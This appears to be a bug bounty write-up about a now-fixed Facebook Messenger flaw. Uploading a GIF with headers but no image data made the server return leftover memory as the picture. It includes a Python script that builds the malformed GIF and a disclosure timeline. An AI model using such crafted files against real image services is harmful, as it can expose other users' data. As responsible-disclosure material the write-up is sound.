Facebook Messenger server random memory exposure through corrupted GIF image
Intro
Year ago, in February 2018, I was testing Facebook Messenger for Android looking how it works with corrupted GIF images. I was inspired by Imagemagick "uninitialized memory disclosure in gif coder" bug and PoC called "gifoeb" (cool name for russian speakers). I found Messenger app only crashes with images generated by "gifoeb" tool with Nullpointer dereferrence (Facebook did't awarded bounty for DoS in Facebook Messenger for Android).
Ok. I thought: what is GIF image format and how it looks, how I can generate my own image?
(spoiler: 10K$ bug in Facebook Messenger for Web, but theory first)
Basic GIF image
I found clear description of GIF image format, the main header should look like this:
Offset Length Contents 0 3 bytes "GIF" 3 3 bytes "87a" or "89a" 6 2 bytes <Logical Screen Width> 8 2 bytes <Logical Screen Height> 10 1 byte bit 0: Global Color Table Flag (GCTF) bit 1..3: Color Resolution bit 4: Sort Flag to Global Color Table bit 5..7: Size of Global Color Table: 2^(1+n) 11 1 byte <Background Color Index> 12 1 byte <Pixel Aspect Ratio> 13 ? bytes <Global Color Table(0..255 x 3 bytes) if GCTF is one> ? bytes <Blocks> 1 bytes <Trailer> (0x3b)
(Full good description here: http://www.onicos.com/staff/iz/formats/gif.html#header)
I decided to create the basic GIF file with the minimal required fields.
I decided to create the basic GIF file with the minimal required fields.
Making own GIF
To create own GIF I've taken python to help me generate binary file
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | import struct screenWidth = 640 screenHeight = 480 f = open('test.gif', 'wb') # Offset Length Contents # 0 3 bytes "GIF" # 3 3 bytes "87a" or "89a" f.write(b"GIF89a") # 6 2 bytes <Logical Screen Width> f.write(struct.pack('<h', screenWidth)) # 8 2 bytes <Logical Screen Height> f.write(struct.pack('<h', screenHeight)) # 10 1 byte bit 0: Global Color Table Flag (GCTF) # bit 1..3: Color Resolution # bit 4: Sort Flag to Global Color Table # bit 5..7: Size of Global Color Table: 2^(1+n) bits = int('00000010', 2) f.write(struct.pack('<b', bits)) # 11 1 byte <Background Color Index> f.write(struct.pack('<b', 0)) # 12 1 byte <Pixel Aspect Ratio> f.write(struct.pack('<b', 1)) # 13 ? bytes <Global Color Table(0..255 x 3 bytes) if GCTF is one> # ? bytes <Blocks> # Offset Length Contents # 0 1 byte Image Separator (0x2c) f.write(struct.pack('<b', 0x2c)) # 1 2 bytes Image Left Position f.write(struct.pack('<h', 0)) # 3 2 bytes Image Top Position f.write(struct.pack('<h', 0)) # 5 2 bytes Image Width f.write(struct.pack('<h', screenWidth)) # 7 2 bytes Image Height f.write(struct.pack('<h', screenHeight)) # 8 1 byte bit 0: Local Color Table Flag (LCTF) # bit 1: Interlace Flag # bit 2: Sort Flag # bit 2..3: Reserved # bit 4..7: Size of Local Color Table: 2^(1+n) # ? bytes Local Color Table(0..255 x 3 bytes) if LCTF is one f.write(struct.pack('<b', int('00000100', 2))) # 1 byte LZW Minimum Code Size #f.write(struct.pack('<b', 1)) # [ // Blocks # 1 byte Block Size (s) #f.write(struct.pack('<b', 1)) # (s)bytes Image Data # ]* # 1 byte Block Terminator(0x00) #f.write(struct.pack('<b', 0)) # 1 bytes <Trailer> (0x3b) f.write(struct.pack('<b', 0x3b)) f.close() |
This script generates exactly the same image as we need. I left comments to see which headers we ignore in image, you can see that our GIF does't have image data blocks - it is empty, after color table flags goes trailer.
Facebook Messenger
I started to test Facebook Messenger for Android with my generated GIFs (I had variations with different sizes, header fields), but nothing happened... Until I opened Messenger web page on my laptop and saw this weird image:
It was very small, increased size |
Wait, but our GIF does't have any content, what image I have back from Facebook?
I had changed GIF size and saw this white noise image, hm, looks also weird:
No TV signal |
Really strange. I've uploaded the same binary again and saw:
Embedded TV screen in Messenger |
Image a bit changed. But I uploaded the same GIF in both cases.
After playing with GIF screen/image sizes:
Full screen picture |
This reminds me situation when you tried to read image from file and used width instead of height.
Finally I caught this output:
Semi stable TV signal in Messenger caught |
And I realized that I'm getting some previous buffer for GIF image, because my image does't have content body.
Timeline
26 FEB 2018: report sent to Facebook Team
01 MAR 2018: triaged
09 MAR 2018: fixed
21 MAR 2018: 10k$